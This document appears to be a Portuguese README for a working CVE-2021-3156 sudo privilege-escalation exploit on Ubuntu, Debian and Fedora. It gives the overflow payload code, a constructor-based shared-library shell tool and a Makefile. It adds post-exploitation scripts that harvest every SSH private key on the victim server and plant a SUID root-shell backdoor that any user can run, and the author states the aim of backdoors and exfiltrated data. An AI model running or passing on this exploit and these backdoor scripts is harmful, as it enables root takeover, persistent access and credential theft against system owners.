
Exploit para Ubuntu 20.04 usando CVE-2021-3156 aprimorado com scripts de pós-exploração
Exploit para Ubuntu 20.04 usando CVE-2021-3156, melhorado com scripts de pós-exploração simples e automatizados
Além do shell root, você pode ter:
-Um arquivo .txt com todas as chaves ssh id_rsa configuradas no servidor. Veja o script: get_all_ssh_keys.sh
-Um executável privshell que permite a qualquer usuário iniciar um shell root (trabalhando na correção do erro do gcc). Veja o script: create_privshell.sh
Para obter um resultado bem-sucedido, é necessário que a máquina da vítima tenha uma das seguintes versões do SO e do Sudo:
-Ubuntu 20.04 (Sudo 1.8.31)
-Debian 10 (Sudo 1.8.27)
-Fedora 33 (Sudo 1.9.2)

Para deixar a minha VM vulnerável, eu fiz o downgrade da minha versão do sudo com o seguinte comando:
$ sudo apt install sudo=1.8.31-1ubuntu1
O exploit funciona desde que o acesso ao sistema da vítima seja obtido com um usuário sem privilégios consideráveis.

Você pode clonar o repositório para a máquina da vítima ou para a sua máquina local e carregá-lo com wget

Execute o comando "make" para compilar os arquivos .c de acordo com a vulnerabilidade

Você obterá o arquivo do exploit, então pode executá-lo com "./" Depois de executar o exploit, podemos ver dois arquivos gerados no repositório: um contém todas as chaves ssh registradas no sistema e o outro contém o executável SUID que concede uma sessão root a todos os usuários. (destacado em roxo)

Você pode ver um erro como o seguinte:

Ainda estou tentando resolver o erro, mas acho que é o shell que gera o exploit. Tentei executar o comando ./create_privshell.sh como root, acessando com sudo su a partir de um usuário com permissões adequadas, e a compilação do script ocorreu bem. Alternativamente, ele pode ser compilado em outra máquina e copiado para a vítima, é por isso que existe uma requisição wget.
O script para compilar é o seguinte:
echo 'int main() { setresuid(0,0,0); system("/bin/sh"); }' > privshell.c
gcc -o privshell privshell.c
rm privshell.c
chown root:root privshell
chmod u+s privshell
Agora você pode ler os arquivos .txt com todas as chaves ssh e usar o privshell até eu corrigir o erro do gcc

Descoberto pela Qualys
Pontuação CVSS de 7.8
O CVE-2021-3156, também conhecido como vulnerabilidade "Baron Samedit", é uma vulnerabilidade de segurança que afeta o programa sudo, amplamente utilizado em sistemas operacionais baseados em Unix. O sudo é um programa que permite aos usuários executar comandos com privilégios elevados, geralmente inserindo a própria senha ou a senha de root. A vulnerabilidade é causada por um problema de estouro de buffer no recurso "sudoedit" do comando sudo, que permite aos usuários editar arquivos com privilégios elevados. A vulnerabilidade foi descoberta pela primeira vez em janeiro de 2021 pela Qualys Research Labs e afeta as versões do sudo de 1.8.2 a 1.8.31p2 e de 1.9.0 a 1.9.5p1.
###Detalhes muito, muito técnicos Informações de: Qualys



Em outras palavras, set_cmnd() é vulnerável a um estouro de buffer baseado em heap, porque os caracteres fora dos limites copiados para o buffer "user_args" não foram incluídos no seu tamanho (calculado nas linhas 852-853).
Para a parte do estouro, usei o arquivo exploit.c de redhawkeye/sudo-exploit
É um pouco complexo, mas facilmente interpretável.
char *env[] = {
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
"\\", "\\", "\\", "\\", "\\", "\\", "\\",
"X/X",
concat("LC_ALL=C.UTF-8@", str_repeat('A', 0xd0)),
NULL
};
Esta parte declara um array de variáveis de ambiente env que será passado para a chamada de sistema execve. As variáveis de ambiente contêm uma série de barras invertidas e uma variável especialmente criada chamada LC_ALL, que tem o valor "C.UTF-8@" concatenado com 208 (0xd0) caracteres 'A'. O valor C.UTF-8@ será passado como a variável de ambiente LC_ALL para o comando sudoedit. Os 208 caracteres 'A' são usados para estourar um buffer no programa sudoedit e executar código arbitrário.
char * a = concat(str_repeat('A', 0x70),"\\");
char * argv[] = {"/usr/bin/sudoedit", "-s", a, NULL};
execve(argv[0], argv, env);
Esta parte declara uma variável a que contém uma string de 112 (0x70) caracteres 'A', seguida por uma barra invertida. Em seguida, declara um array argv que será passado para execve. O array contém o caminho para o comando sudoedit (/usr/bin/sudoedit), a flag -s e a variável a criada acima.
execve(argv[0], argv, env);
Esta é a chamada de sistema execve que realmente executa o comando sudoedit com os argumentos e variáveis de ambiente fornecidos. O programa sudoedit lerá a variável de ambiente LC_ALL e tentará interpretá-la como um caminho de arquivo. Os caracteres 'A' em excesso serão usados para gravar dados arbitrários na memória e potencialmente executar código arbitrário.
Então esses dados na memória reservados para o RCE serão usados pelo nosso arquivo shell_tool.c
__attribute((constructor))
static void sice() {
setuid(0);
system("command");
...
system("bash");
Esta parte do código declara uma função chamada sice com o atributo attribute((constructor)), então a função será chamada automaticamente quando o programa iniciar, antes da execução de main(). Dentro da função sice, a função setuid(0) é chamada para definir o ID de usuário efetivo do processo para 0, que é o ID do superusuário ou root. Isso efetivamente dá ao programa privilégios de root. Depois disso, apenas usando o argumento system("command"), podemos fazer qualquer coisa antes que a sessão root apareça no terminal; foi por isso que quis tentar a coisa do scripting para ter alguns backdoors e dados exfiltrados antes de obtermos o shell root.
Tentei codificar minha própria versão do código chamada mybufferof.c; basicamente é bem parecida, então fique à vontade para modificar o Makefile para testá-la, jeje
all:
gcc bufferof.c -o exploit
mkdir libnss_X
gcc -g -fPIC -shared shell_tool.c -o libnss_X/X.so.2
Primeiro, precisamos compilar nosso exploit e depois criar o diretório "libnss_X". Em seguida, o último comando compila o arquivo shell_tool.c e cria um arquivo de objeto compartilhado chamado X.so.2 no diretório libnss_X:
A flag -g gera informações de depuração para o arquivo de objeto compartilhado.
A flag -fPIC gera código independente de posição para objetos compartilhados.
A flag -shared especifica que um arquivo de objeto compartilhado deve ser criado.
O arquivo de objeto compartilhado resultante X.so.2 é colocado no diretório libnss_X criado na segunda etapa.
Isso é importante para o CVE, por causa disto:

Dados de:Qualys
É só isso, aproveite, acho eu